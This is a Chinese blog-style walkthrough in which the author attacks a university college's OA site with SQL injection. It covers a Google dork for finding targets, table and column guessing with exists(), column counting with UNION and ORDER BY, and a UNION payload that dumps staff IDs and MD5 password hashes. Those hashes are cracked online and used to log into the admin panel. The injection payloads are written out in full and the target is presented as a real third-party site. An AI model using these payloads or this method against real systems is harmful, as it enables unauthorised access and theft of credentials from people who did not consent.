声明:本文的目的是技术交流,请勿用于非常用途!一切后果本人概不负责。
/**********/
前言/**********/
google hack: inurl:?id= site:example.com
找到一个站:http://example.com/school/postgraduate/tutor_detail.php?id=1001
好,试一下:http://example.com/school/postgraduate/tutor_detail.php?id=1001'
发现返回错误页面:
然后,再试:
/**********/
开始Hack
/**********/
1)猜解表名
这个需要一些社会工程学(哈哈~)
首先,这是一个学校的某个学院网站,电子工程学院(ee),其次,这个系统是一个OA系统,再次,现在这个错误页面是教师(teachers)信息。。。。and exists (select * from eeoa_teachers)
【注】:exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。
实际执行的sql语句可能是这样:
select * from someTable and exists(select * from eeoa_teachers)
2)用UNION猜解当前表列数
方法一:
union select 1,2,3,4
order by 4
(根据第4列排序,如果第4列存在,那么返回正确,如果order by 5时返回错误,说明这个表有4列。)
执行成功的URI:
example.com/school/postgraduate/tutor.php?id=1001%20union%20select%201,2,3,4,5,6,7,8,9,10
最后得出当前表有10列。这有什么用呢?
--> 一会要利用这个信息执行union查询,union查询要求前后列数相等。3) 破解列名:
猜username不对,那会是什么呢?最后猜出的是jgh.为什么是jgh呢?
--因为登陆页面提示输入“教工号”,以Chinese程序员的水平来说,这个字段很有可能就是jhg啦(参考12306的url。。。)
同理,密码也不是password,而是mm!!!哈哈哈
exists(select jgh, mm from eeoa_teachers)
返回还是正确。
【注】:常用的hack列名可以google之。
4)破解教工号:
因为网站设计者很不友好,提示输入“10位教工号”,哈哈,那就好办了,google一下这个学校的教工号,就找到规律了:年份(2014)+学院代码(111)+个人编号(XXX)
只有10*10*10 == 1000种可能了。可不借助工具还是比较多的。那么,继续google hack-->直接去找这个学院教师的通讯录,居然找到了:eaxmple.com/eeoa/contact.php
OK,得到了近百位老师的教工号,那么就无需破解了。
5)破解密码:
要破解密码,首先要拿到密码。来吧!用union查询可以办得到。
union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers
返回页面是这样的():
OK,我们得到了md5加密过的密码,去www.md5online.comdecrypt一下,得到了几个弱口令。
---------------------------------------------------------
(在这里提醒下各位:最好不要用一些在线查md5加密的网站去查自己密码的MD5,因为它会把你的查询结果存入彩虹表里!比如说,aE4v2z这样一个密码,我自己用代码MD5加密,结果是385ad31a4c10a4da639184b9e5d4de36,然后上网上查是查不到的,可是如果我先查aE4v2z的MD5,再去查385ad31a4c10a4da639184b9e5d4de36,就会得到aE4v2z,是不是很危险?)
--------------------------------------------------------
6)登陆后台:
7)最后,就是想告诉自己:学好原理,别再做script kiddie啦!